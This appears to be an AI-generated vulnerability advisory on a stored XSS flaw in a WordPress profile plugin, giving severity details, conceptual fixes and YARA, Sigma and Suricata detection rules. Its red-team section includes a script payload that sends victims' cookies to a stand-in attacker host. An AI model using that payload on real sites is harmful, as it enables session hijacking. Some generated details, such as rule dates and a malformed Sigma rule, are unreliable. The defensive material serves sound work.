CVE-2025-8896
Executive Summary
CVE-2025-8896 is a Stored Cross-Site Scripting (XSS) vulnerability in the User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor WordPress plugin. This flaw affects all versions up to and including 3.14.3. The vulnerability resides in the gdpr_communication_preferences[] parameter, which is insufficiently sanitized and escaped. An authenticated attacker with at least Subscriber-level access can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the injected payload. The exploit is only viable when the GDPR Communication Preferences module is enabled and at least one GDPR Communication Preferences field has been added to the edit profile form.
This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx. The plugin is developed by the vendor "User profile builder" and is distributed through the WordPress plugin repository.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The attack can be executed remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs Subscriber-level access.
- User Interaction (UI): None – The attack does not require user interaction.
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The requirement for authentication and the specific module configuration reduce the attack surface, but the potential for stored XSS in a WordPress environment can lead to session hijacking, defacement, or phishing.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress plugin ecosystem. The gdpr_communication_preferences[] parameter is used to store user preferences for GDPR communication. The plugin fails to properly sanitize input and escape output when rendering this data. An attacker with Subscriber-level access can submit a crafted payload via the edit profile form. This payload is stored in the WordPress database and later rendered without proper escaping, causing the script to execute in the browser of any user viewing the affected page.
Root Cause: Insufficient input sanitization and output escaping on the gdpr_communication_preferences[] parameter.
Prerequisites for Exploitation:
- The GDPR Communication Preferences module must be enabled in the plugin settings.
- At least one GDPR Communication Preferences field must be added to the edit profile form.
- The attacker must have a valid account with Subscriber-level access or higher.
Attack Flow:
- Attacker logs in as a Subscriber.
- Attacker navigates to the edit profile page.
- Attacker injects malicious JavaScript into the
gdpr_communication_preferences[]field. - The payload is stored in the database.
- When an administrator or other user views the profile or a page that displays the preferences, the script executes.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is identified as the handling of gdpr_communication_preferences[] in the plugin's PHP files. The vulnerable code likely uses $_POST['gdpr_communication_preferences'] without proper sanitization and then echoes it without escaping.
Vulnerable Code (Conceptual):
// Vulnerable: No sanitization or escaping
$preferences = $_POST['gdpr_communication_preferences'];
update_user_meta($user_id, 'gdpr_communication_preferences', $preferences);
// Later in output:
echo get_user_meta($user_id, 'gdpr_communication_preferences', true);
Patched Code (Conceptual):
// Patched: Sanitize and escape
$preferences = sanitize_text_field($_POST['gdpr_communication_preferences']);
update_user_meta($user_id, 'gdpr_communication_preferences', $preferences);
// Later in output:
echo esc_html(get_user_meta($user_id, 'gdpr_communication_preferences', true));
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install WordPress with the User Profile Builder plugin (version 3.14.3 or earlier).
- Enable the GDPR Communication Preferences module and add a field to the edit profile form.
- Create a Subscriber-level user account.
Exploitation Steps:
- Log in as the Subscriber.
- Navigate to the edit profile page (e.g.,
/wp-admin/profile.php). - In the GDPR Communication Preferences field, inject the following payload:
<script>alert('XSS')</script> - Save the profile.
- Log in as an administrator and view the profile page. The script will execute.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor for unusual POST requests to
/wp-admin/profile.phpcontaining script tags in thegdpr_communication_preferences[]parameter. - Look for stored XSS indicators in the
wp_usermetatable wheremeta_keyisgdpr_communication_preferences.
Mitigation:
- Disable the GDPR Communication Preferences module if not required.
- Implement a Web Application Firewall (WAF) rule to block script tags in the parameter.
- Apply input validation and output escaping in custom code.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/profile.phpwithgdpr_communication_preferences[]containing<script>tags. - Outbound connections to attacker-controlled domains from WordPress admin pages.
- POST requests to
Host IOCs:
- Entries in
wp_usermetawithmeta_key=gdpr_communication_preferencescontaining JavaScript code. - Modified WordPress files (e.g., plugin files) if the attacker escalates privileges.
- Entries in
Log IOCs:
- WordPress debug logs showing PHP warnings related to
gdpr_communication_preferences. - Web server access logs with unusual POST data.
- WordPress debug logs showing PHP warnings related to
Detection Engineering
YARA Rule
rule CVE_2025_8896_Stored_XSS {
meta:
description = "Detects stored XSS payloads in User Profile Builder GDPR preferences"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8896"
strings:
$payload = /gdpr_communication_preferences.*<script/i
$meta_key = "gdpr_communication_preferences"
condition:
$payload or $meta_key
}
Sigma Rule
title: CVE-2025-8896 Stored XSS in User Profile Builder
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of stored XSS via gdpr_communication_preferences parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/profile.php'
cs-uri-query|contains: 'gdpr_communication_preferences'
cs-uri-query|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in preferences (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8896 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"gdpr_communication_preferences"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the GDPR Communication Preferences module in the plugin settings.
- Remove any existing GDPR Communication Preferences fields from edit profile forms.
- Scan the WordPress database for stored XSS payloads in
wp_usermetawheremeta_key=gdpr_communication_preferences.
Long-term Fix:
- Apply input sanitization (e.g.,
sanitize_text_field()) and output escaping (e.g.,esc_html()) to thegdpr_communication_preferences[]parameter. - Update to a patched version when released by the vendor.
Workaround:
- Use a WAF to block requests containing
<script>in thegdpr_communication_preferences[]parameter. - Restrict edit profile access to trusted users only.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.